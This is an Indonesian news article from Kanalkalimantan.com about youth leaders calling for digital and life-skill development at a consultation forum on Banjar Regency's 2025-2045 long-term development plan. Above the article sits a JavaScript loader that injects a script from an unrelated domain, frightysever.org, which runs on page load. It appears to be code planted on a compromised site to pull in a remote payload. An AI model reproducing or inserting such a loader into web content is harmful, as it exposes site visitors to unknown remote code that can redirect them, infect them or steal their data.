(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tuntutan Skill Pemuda Kabupaten Banjar Hadapi Demografi 2025-2045

KANALKALIMANTAN.COM, MARTAPURA – Suarakan aspirasi pemuda Kabupaten Banjar mengemuka dalam Forum Konsultasi Publik Rancangan Awal (FKP Ranwal) dokumen Rencana Pembangunan Jangka Panjang Daerah (RPJPD) Kabupaten Banjar 2025-2045.

Dari 200 peserta yang hadir mengikuti FKP Ranwal dokumen RPJPD Kabupaten Banjar 2025-2045 di lantai 7 gedung William Tandiono Complex, Jalan A Yani Km 11,8, Kecamatan Gambut, Kabupaten Banjar, salah satu peserta mewakili pemuda yakni Rahmat Saleh.

Rahmat Saleh mengutakan bahwa untuk menjadi kabupaten yang berdaya saing, pemuda harus mempunyai inklusivitas dan punya karakter sumber daya manusia.

“Kita lihat di RPJPD ini, aspek demografi tahun 2030 sampai 2045, para pemuda perlu pemberdayaan dalam aktivitas digitalisasi,” kata Rahmat, Selasa (7/11/2023).

“Karena hari ini kita lihat apa yang sudah tergambar itu menggambarkan masa depan yang akan kita hadapi,” ucapnya.

Menurut salah satu wakil rakyat di Kabupaten Banjar, tahun 2020 Kabupaten Banjar mendapat prediket Kabupaten Layak Pemuda. “Tapi hari ini kami belum mendapatkan sepenuhnya. Kami maunya di Kabupaten Banjar akan menjadi kabupaten layak pemuda lagi dengan dibangunnya gedung pemuda. Karena hingga hari ini kita belum punya gudang pemuda,” bebernya.

Ketua KNPI Kabupaten Banjar ini berharap pembangunan manusia lebih ditingkatkan karena Kabupaten Banjar juga akan menjadi daerah penyangga IKN, maka life skill harus kedepan ditambah untuk anak pemuda. “Artinya kalau kita tidak punya skill sekarang, maka akan menjadi pecundang di kabupaten sendiri dan tidak akan maju nantinya,” katanya.

Kepala Bidang Infrastruktur dan Kewilayahan Provinsi Kalimantan Selatan Anisa Murni yang ikut dalam FKP Ranwal dokumen RPJD Kabupaten Banjar 2025-2045 mengatakan, komitmen Provinsi Kalimantan Selatan terhadap sumber daya manusia. “Pemprov Kalsel suudah dan terus melakukan pembinaan kepada pemuda khususnya dukungan perkembangan wirausaha muda, diantaranya bantuan pinjaman lunak, pembekalan keterampilan. Dalam aspek geografi dan demografi itu sangat menjadi perhatian,” katanya. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie